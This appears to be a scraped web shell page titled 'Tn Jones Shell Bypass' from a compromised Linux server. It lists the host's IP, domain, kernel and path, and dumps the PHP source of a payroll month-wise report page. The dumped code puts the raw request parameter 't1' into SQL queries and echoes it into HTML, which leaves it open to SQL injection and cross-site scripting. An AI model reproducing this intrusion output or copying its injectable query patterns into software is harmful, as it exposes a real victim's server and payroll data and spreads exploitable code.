Tn Jones Shell Bypass
:
18.118.4.64
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rmpyrll
/
Upload File:
files >> /home/upgov/www/rmpyrll/report_sncu.php
<?php date_default_timezone_set("Asia/Kolkata"); ?> <?php include("connection.php"); session_start(); if (!isset($_SESSION['user']) || ($_SESSION['password'] == '')) { header("location:payrolLogin/ramalogin.php"); } if(isset($_SESSION['user'])) { $username=$_SESSION['user']; } $user_query = mysql_query("SELECT * FROM loginrama where user='$username' ")or die(mysql_error()); $user_row = mysql_fetch_array($user_query); $us = $user_row['user']; ?> <!DOCTYPE html> <html> <head> <title>Payroll</title> <link href="css/bootstrap.css" rel='stylesheet' type='text/css'/> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="js/jquery.min.js"></script> <meta name="viewport" content="width=device-width, initial-scale=1"/> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="keywords" content="Payroll Responsive web template, Bootstrap Web Templates, Flat Web Templates, Andriod Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyErricsson, Motorola web design" /> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <link rel="stylesheet" href="css/flexslider.css" type="text/css" media="screen" /> <link href="css/style.css" rel="stylesheet" type="text/css" media="all" /> <!---- start-smoth-scrolling----> <script type="text/javascript" src="../js/move-top.js"></script> <script type="text/javascript" src="../js/easing.js"></script> <script src="js/jquery.easydropdown.js"></script> <script src="js/cbpViewModeSwitch.js" type="text/javascript"></script> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script> <script src="http://cdnjs.cloudflare.com/ajax/libs/jquery-throttle-debounce/1.1/jquery.ba-throttle-debounce.min.js"></script> <!--<script src="js3/jquery.stickyheader.js"></script>--> <script src="assets/jquery-2.1.3.js"></script> <script src="assets/tableHeadFixer.js"></script> <link rel="stylesheet" href="assets/bootstrap-3.3.2/css/bootstrap.css"> <script> $(document).ready(function() { $("#fixTable").tableHeadFixer({"left" :2}); }); </script> <script> function printdiv() { //your print div data //alert(document.getElementById("printpage").innerHTML); var newstr=document.getElementById("printpage").innerHTML; var header='<header><div align="center"><h3 style="color:#EB5005">SNCU MONTH WISE REPORT </h3></div><br></header><hr><br>' var footer ="Your Footer"; //You can set height width over here var popupWin = window.open('', '_blank', 'width=1100,height=600'); popupWin.document.open(); popupWin.document.write('<html> <body onload="window.print()" style="font_size:10px;width:100%;">'+ header + newstr + '</html>' + footer); popupWin.document.close(); return false; } </script> <style> #parent { height: 550px; } #fixTable { width: 1550px !important; } </style> <style> th { border: 1px solid white; text-align: center; vertical-align: center; height:30px; } td { border: 1px solid white; text-align: center; vertical-align: center; height:30px; } .verticalText { vertical-align: middle; width:10px; -webkit-transform: rotate(-90deg); -moz-transform: rotate(-90deg); } </style> </head> <body> <div class="header"> <div class="container"> <div class="logo"> <a href="index.html"><img src="images/logo.png" alt=""/></a> </div> <div class="top-menu"> <span class="menu"> </span> </div> <div id="sb-search" class="sb-search"> <h4 align="right"><a href="logout.php"><img src="images/logout.jpg"></a></h4> <br> <h4 align="right"><a href="consoliedreport.php"> <font face="andalus"><b>BACK</b></font></a> </h4></div> <!-- search-scripts --> <script src="js/classie.js"></script> <script src="js/uisearch.js"></script> <!-- //search-scripts --> </div> </div> <!-- header-section-ends --> <div class="content"> <br> <h3 align="center" style="color:#2A5CAA;"><b><u>MONTH WISE REPORT</u></b> </h3> <form name="frm_image" method="post"> <?php $w=$_REQUEST["t1"]; $w2=$_REQUEST["t2"]; $w3=$_REQUEST["t3"]; ?> <center> <table> <td><font color="black"><b>Select Month</b></font><br><select name="t1" style="height:32px;width:250px;"> <option style="font-weight: bold;background-color:gray;color:white;" value="<?php echo $w; ?>"><strong><?php echo $w; ?></strong></option> <option value="<?php echo date('Y', strtotime($date .' -2 YEAR'))?>"><?php echo date('Y', strtotime($date .' -2 YEAR'))?></option> <option value="<?php echo date('Y', strtotime($date .' -1 YEAR'))?>"><?php echo date('Y', strtotime($date .' -1 YEAR'))?></option> <option value="<?php echo date('Y')?>"><?php echo date('Y')?></option> </select> </td> <td> <br><input type="submit" value="Search" style="font-weight:bold;height:30px;width:80px;background:#2A5CAA;color:#FFF;" /></td> <td> <a href="#" onclick="printdiv()" style="margin-left:15px;margin-right:15px;text-align:right;"><font size="+1" color="black"><img src="images/print.png"></font> </a></td> </table> <br> <div class="good-design"> <div id="printpage" style=" height:100%;width:100%;border:solid 2px black;overflow:scroll;overflow-y:hidden;overflow-x:scroll;"> <div id="parent"> <table id="fixTable" class="table" align="center" border='2' style="border:1px solid black;position:relative;background-color:#B7CCED;border-color: white;border:1px soild black;" > <thead> <tr style="background-color:#2A5CAA;color:#FFFFFF;font-size:15px:font-family:andalus;"> <td colspan="8" align="center"><b>MONTH WISE REPORT</b></td> </tr> <tr style="background-color:#2A5CAA;color:#FFFFFF;font-size:10px:font-family:andalus;"> <th rowspan="3" align="center">S.no</th> <th rowspan="3" align="center">Scheme</th> <th rowspan="3" align="center">District</th> <th rowspan="3" align="center">Attendance</th> <th rowspan="3" align="center">Bill</th> <th colspan="3" align="center">Payment From</th> </tr> <tr style="background-color:#2A5CAA;color:#FFFFFF;font-size:10px;font-family:andalus;"> <th align="center">Dept. to Rama</th> <th align="center">Remark</th> <th align="center">Rama to Empl</th> </tr> </thead> <?php $sql101=mysql_query("SELECT d.DB_district, d.Display_district,d.scheme FROM distsncu d order by SrNO ")or die("Error in qurey <br> "); $count1=0; for($i=0;$r101=mysql_fetch_array($sql101);$i++) { $count1=$i+1; $dis101=$r101['DB_district']; $sch101=$r101['scheme']; ?> <tbody> <tr style="background-color:#B7CCED;color:blue;font-size:10px; font-family:andalus;"> <td align="center"> <font size="3"><b><?php echo $count1;?></b></font> </td> <td align="center"> <font size="3"><b><?php echo $r101['scheme'];?></b></font> </td> <td align="center"> <font size="3"><b><?php echo $r101['Display_district'];?></b></font> </td> <?php $sql103=mysql_query("SELECT month,attandance FROM health h where scheme='$sch101' and h.district='$dis101' and att_year like '$w%' order by att_month desc LIMIT 1")or die("Error in qurey"); while($r103 = mysql_fetch_array($sql103)) { $att=$r103['attandance']; if($att != '' ) { ?> <td align='center' style='background-color:#73C259;'><font size='3'><b><?php echo $r103['month'];?></b></font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;'><font size='3'><b>N</b></font></a></td> <?php } } $sql103=mysql_query("SELECT month,bill FROM health h where scheme='$sch101' and h.district='$dis101' and att_year like '$w%' and bill <> '' and bill is not null order by att_month desc LIMIT 1")or die("Error in qurey"); while($r103 = mysql_fetch_array($sql103)) { $att=$r103['bill']; if($att != '' ) { ?> <td align='center' style='background-color:#73C259;'><font size='3'><b><?php echo $r103['month'];?></b></font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;'><font size='3'><b>N</b></font></a></td> <?php } } $sql103=mysql_query("SELECT month,payment FROM health h where scheme='$sch101' and h.district='$dis101' and att_year like '$w%' and payment <> '' and payment is not null order by att_month desc LIMIT 1")or die("Error in qurey"); while($r103 = mysql_fetch_array($sql103)) { $att=$r103['payment']; if($att != '' ) { ?> <td align='center' style='background-color:#73C259;'><font size='3'><b><?php echo $r103['month'];?></b></font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;'><font size='3'><b>N</b></font></a></td> <?php } } $sql103=mysql_query("SELECT pay_remark FROM health h where scheme='$sch101' and h.district='$dis101' and att_year like '$w%' and pay_remark <> '' and pay_remark is not null order by att_month desc LIMIT 1")or die("Error in qurey"); while($r103 = mysql_fetch_array($sql103)) { $att=$r103['pay_remark']; if($att != '' ) { ?> <td align='center' style='background-color:#73C259;'><font size='3'><b><?php echo $r103['pay_remark'];?></b></font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;'><font size='3'><b>N</b></font></a></td> <?php } } $sql103=mysql_query("SELECT month,salary FROM health h where scheme='$sch101' and h.district='$dis101' and att_year like '$w%' and salary <> '' and salary is not null order by att_month desc LIMIT 1")or die("Error in qurey"); while($r103 = mysql_fetch_array($sql103)) { $att=$r103['salary']; if($att != '' ) { ?> <td align='center' style='background-color:#73C259;'><font size='3'><b><?php echo $r103['month'];?></b></font></a></td> <?php } else { ?> <td align='center' style='background-color:#E32942;'><font size='3'><b>N</b></font></a></td> <?php } } ?> <?php } ?> </tr> </tbody> </table> </div> </form> </div> </div> </div> </body> </html>